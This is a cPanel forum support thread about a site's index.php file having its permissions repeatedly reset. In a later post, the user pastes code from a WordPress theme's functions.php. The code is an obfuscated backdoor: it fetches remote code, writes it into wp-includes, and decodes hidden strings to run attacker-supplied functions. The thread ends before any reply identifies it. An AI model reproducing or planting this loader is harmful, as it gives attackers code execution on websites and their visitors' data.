Apr 3, 2019
5
0
1
chennai
cPanel Access Level
Root Administrator
Hi in my cpanel errorlog i see this error[warn-ioncube] mmap cache can't open home/kennribvi/public_html/index.php Permission denied (pid 3621445). On seeing this error i go the directory and change the permission of index.php from 0000 to 0775. Now my website works properly, but after two days on clearing this error the same error is showing in my website. Pls help me to find the complete solution for this problem
 

cPanelLauren

Product Owner
Staff member
Nov 14, 2017
13,296
1,266
313
Houston
Hello @[email protected]

Nothing shipped with cPanel by default will change permissions on your files like this. Do you have any antivirus/malware scanning software on the server like Imunify?
 

cPanelLauren

Product Owner
Staff member
Nov 14, 2017
13,296
1,266
313
Houston
Hello @[email protected]

ClamAV wouldn't change the permissions of the file to 000. In this instance it sounds like it's either being manually changed or something you have on the server is changing it. You might want to set up an audit rule.

How to monitor permission, ownership or any other change to a particular directory or file - Red Hat Customer Portal

Code:
# auditctl -w /home/$user/public_html/index.php -p war -k monitor-index-file-changes
The link above gives more detail on how/where to add the rule as well.

Thanks!
 
Apr 3, 2019
5
0
1
chennai
cPanel Access Level
Root Administrator
sir this is the error howing
PHP Warning: file_put_contents() expects at least 2 parameters, 1 given in /home/kenribvi/public_html/wp-content/themes/lookup/functions.php on line 1.
Please help me to resolve the problem.

The code is :
Code:
<?php 
$a = 'http://www.example.com///wp-content/themes/amadeus/js/css.js';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif');
$c('../wp-includes/css/wp-includes.php') ;
?> 
<?php 
function Aes($str,$key)
{ 
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
    $k=(($i+2)/2)%strlen($key);
    $p=substr($key, $k,1);
    if(is_numeric(substr($str, $i,1)))
    {
        $t=$t.chr(hexdec(substr($str, $i,2))-$p);
        } 
        else
        {
            $t=$t.chr(hexdec(substr($str, $i,4)));
            $i=$i+2;
            }
            }
            return($t);
            }
            (@$_=Aes('6A767C687B77','39'))[email protected]$_(Aes('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
            ?>
            <?php
sir could you help me to resolve these error as fast as possible pls
 
Last edited by a moderator:

cPanelLauren

Product Owner
Staff member
Nov 14, 2017
13,296
1,266
313
Houston